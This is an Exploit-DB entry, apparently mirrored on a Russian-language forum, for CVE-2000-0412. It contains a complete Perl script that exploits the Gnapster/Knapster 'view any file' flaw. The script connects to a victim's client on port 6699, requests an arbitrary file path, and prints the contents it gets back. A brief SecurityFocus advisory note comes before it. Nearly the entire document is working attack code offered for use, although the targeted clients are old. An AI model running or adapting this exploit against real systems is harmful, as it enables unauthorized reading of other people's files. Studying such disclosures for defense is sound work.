- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 19905
- Проверка EDB
-
- Пройдено
- Автор
- NO_MAAM
- Тип уязвимости
- REMOTE
- Платформа
- UNIX
- CVE
- cve-2000-0412
- Дата публикации
- 2000-05-13
John Donoghue Knapster 0.9/1.3.8 - File Access
Код:
source: https://www.securityfocus.com/bid/1186/info
Various open source clones of the Napster software package have a vulnerability by which users may view files on a machine running a vulnerable Napster clone client. The file access is limited to files accessible by the user running the client. The official commercial version of Napster does not contain this vulnerability.
#!/usr/bin/perl
########################################################################
# #
# Gnapster / Knapster "view any file" exploit #
# #
# This script was originally written by no_maam on May the 13th 2000 #
# and modified by Dennis ([email protected]) on May the 14th. #
# #
# It exploits a bug in Gnapster prior to 1.3.9 discovered by #
# Jim Early on May the 10th 2000 and a bug in Knapster up to 0.10 #
# discovered by Tom Daniels on May the 10th 2000. #
# Due to a design error in Gnapster and Knapster it's possible to #
# view any file Gnapster / Knapster has access to because the #
# application fails to check that the requested file is an #
# explicitly shared MP3 file before providing it. #
# #
# NOTE: Both clients crashed very often while testing this script! #
# #
# See Bugtraq ID 1186 at http://www.securityfocus.com for details. #
# #
# Standard disclaimer applies. #
# #
########################################################################
use IO::Socket;
unless (@ARGV >= 2) {
&args
}
print " .: Gnapster / Knapster \"view any file\" exploit by no_maam and Dennis Conrad :.\n\n";
$host = $ARGV[0];
$file = $ARGV[1];
$file =~ s/\//\\/g; # Replace any / in filename with \
if ($ARGV[2] == "") { #
$port = 6699 # Use port 6699
} elsif ($ARGV[2] != ""){ # if none specified
$port = $ARGV[2] #
}
if ($ARGV[3] eq "") { #
$name = "nobody" # Use name "nobody"
} elsif ($ARGV[3] ne ""){ # if none specified
$name = $ARGV[3] #
}
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port
) || die " Couldn't open port $port on
$host\n";
$remote->autoflush(1);
sleep 2; # Wait two seconds (slow connection)
print $remote "GET$name \"$file\" 0\n"; # Get the file
while (<$remote>) {
if ($_ =~ /FILE NOT FOUND/) { # Test is file exists
print " File $file not found or the client has no permission so access it.\n";
exit 1 # Return exit status 0 (for shellscripts)
}
if ($_ =~ /NOT SHARED/) { # Test for fixed version of Gnapster / Knapster
print " Sorry, this is a fixed client\n";
exit 1
}
push @output, $_ # Write file to @output
}
print "\n@output\n"; # Print @output to STDOUT
close $remote;
exit 0;
sub args {
print " Usage: $0 <host> <file> [port] [name]\n";
print " By default port 6699 and name \"nobody\" is used.\n";
exit 1
}
# EOF
- Источник
- www.exploit-db.com